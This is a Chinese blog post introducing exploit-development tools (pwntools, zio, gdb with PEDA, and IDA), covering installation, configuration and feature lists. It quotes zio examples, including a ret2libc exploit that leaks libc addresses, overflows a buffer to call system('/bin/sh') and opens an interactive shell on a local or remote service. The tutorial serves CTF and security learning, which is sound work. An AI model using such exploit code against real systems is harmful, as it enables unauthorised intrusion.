编写poc和exploit的几款常用工具介绍

1.pwntools

pwntools是一个CTF框架和漏洞利用开发库，用Python开发，由rapid设计，旨在让使用者简单快速的编写exploit。

pwntools对Ubuntu 12.04和14.04的支持最好，但是绝大多数的功能也支持Debian, Arch, FreeBSD, OSX, 等等。

sudo pip install pwntools即可安装

如果安装过程中提示缺少相应的库，应该都可以很容易的google到解决方法。

安装完成后执行以下命令来检测是否成功：

[python] view plain copy

 

1. import pwn  
2. >>> pwn.asm("xor eax,eax")  
3. '1\xc0'  

如果执行结果和上面相同，则说明安装成功，pwn模块现在可以使用了。

2.zio

pwntools和zio两者均是用python开发的exp编写工具,同时方便了远程exp和本地exp的转换  sudo pip install zio即可安装

zio is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.

The primary goal of zio is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server.

The following code illustrate the basic idea.

[python] view plain copy

 

1. from zio import *  
2.   
3. if you_are_debugging_local_server_binary:  
4.     io = zio('./buggy-server')            # used for local pwning development  
5. elif you_are_pwning_remote_server:  
6.     io = zio(('1.2.3.4', 1337))           # used to exploit remote service  
7.   
8. io.write(your_awesome_ropchain_or_shellcode)  
9. # hey, we got an interactive shell!  
10. io.interact()  

[python] view plain copy

 

1. from zio import *  
2. io = zio('./buggy-server')  
3. # io = zio((pwn.server, 1337))  
4.   
5. for i in xrange(1337):  
6.     io.writeline('add ' + str(i))  
7.     io.read_until('>>')  
8.   
9. io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")  
10. io.read_until('A' * 49)  
11. libc_base = l32(io.read(4)) - 0x1a9960  
12. libc_system = libc_base + 0x3ea70  
13. libc_binsh = libc_base + 0x15fcbf  
14. payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)  
15. io.write('info ' + payload + "\nshow\nexit\n")  
16. io.read_until(">>")  
17. # We've got a shell;-)  
18. io.interact()  

3.gdb+peda

关于gdb的介绍我不想多说，http://blog.csdn.NET/haoel/article/details/2879大家可以看看这一系列文章，或者直接看我的blog的相关部分（我的没有给出的这篇详细）。

而peda是用python开发gdb插件用来：

• Enhance the display of gdb: colorize and display disassembly codes, registers, memory information during debuggin
• 相关命令的解释：
• Add commands to support debugging and exploit development (for a full list of commands use peda help):
  • aslr -- Show/set ASLR setting of GDB
  • checksec -- Check for various security options of binary
  • dumpargs -- Display arguments passed to a function when stopped at a call instruction
  • dumprop -- Dump all ROP gadgets in specific memory range
  • elfheader -- Get headers information from debugged ELF file
  • elfsymbol -- Get non-debugging symbol information from an ELF file
  • lookup -- Search for all addresses/references to addresses which belong to a memory range
  • patch -- Patch memory start at an address with string/hexstring/int
  • pattern -- Generate, search, or write a cyclic pattern to memory
  • procinfo -- Display various info from /proc/pid/
  • pshow -- Show various PEDA options and other settings
  • pset -- Set various PEDA options and other settings
  • readelf -- Get headers information from an ELF file
  • ropgadget -- Get common ROP gadgets of binary or library
  • ropsearch -- Search for ROP gadgets in memory
  • searchmem|find -- Search for a pattern in memory; support regex search
  • shellcode -- Generate or download common shellcodes.
  • skeleton -- Generate python exploit code template
  • vmmap -- Get virtual mapping address ranges of section(s) in debugged process
  • xormem -- XOR a memory region with a key

安装：

git clone https://github.com/longld/peda.git ~/pedaecho "source ~/peda/peda.py" >> ~/.gdbinit

如果没什么问题的话，现在执行gdb就会发现之前gdb$会变成gdb-peda$，由于我在windows下写blog，在另一台lubuntu14.04上安装的，所以不方便截图，大家见谅。

github上关于peda的README.md中倒是有几张截图，大家有兴趣的话可以看看：https://github.com/longld/peda

当然，peda的一些属性是可以配置的：

[python] view plain copy

 

1. .gdbinit  
2. # Source all settings from the peda dir  
3. source ~/peda/peda.py  
4. # These are other settings I have found useful  
5. # Intel syntax is more readable  
6. set disassembly-flavor intel  
7. # When inspecting large portions of code the scrollbar works better than 'less'  
8. set pagination off  
9. # Keep a history of all the commands typed. Search is possible using ctrl-r  
10. set history save on  
11. set history filename ~/.gdb_history  
12. set history size 32768  
13. set history expansion on  

[python] view plain copy

 

1. Making the following modification to ~/peda/lib/config.py is also recommended:  
2. -    "debug"     : ("off", "show detail error of peda commands, e.g: on|off"),  
3. +    "debug"     : ("on", "show detail error of peda commands, e.g: on|off"),  

• General usage and features

• The list of commands can be read by typing peda
• Peda has wrappers over many gdb commands
• Here is disas versus pdisas:
• There are three commands to show context:
  • context reg for the registers and flags
  • context code for disassembling around the current instruction pointer
  • context stack for examining the stack
• There is also a command for all at once: context all that is run by default whenever a breakpoint is hit:
• As you can see, there is a lot of information available. Note that the addresses are color coded according to their origin: code/data/rodata
• Peda also features smart dereferencing (telescoping)
• Getting information about an address or register can be done with xinfo. The origin of the mapping is searched from another command: vmmaps

• Displaying all strings in the address space is done using strings
• Searching for specific strings can be done with find
• Sometimes you need to find a pointer to a specific string. You can use refsearch
• Searching for specific instructions or chains of instructions is done using asmsearch(although it's not always accurate)

Exploit/ Reverse Engineering specifics

• Process info and security
• ROP gadgets
• Tracing calls
• Tracing individual instructions: Peda can also infer the arguments to functions or the operands for comparisons and display them
• Creating exploit patterns and searching for them in memory and registers

更多信息见：http://security.cs.pub.ro/hexcellents/wiki/kb/toolset/peda

4.IDA

由于IDA的功能过于强大，不适合在本文中简单讲解，建议大家去学习一下《IDA pro权威指南》这本书，再加上勤奋的动手，我想你会爱上IDA的，因为她确实很迷人。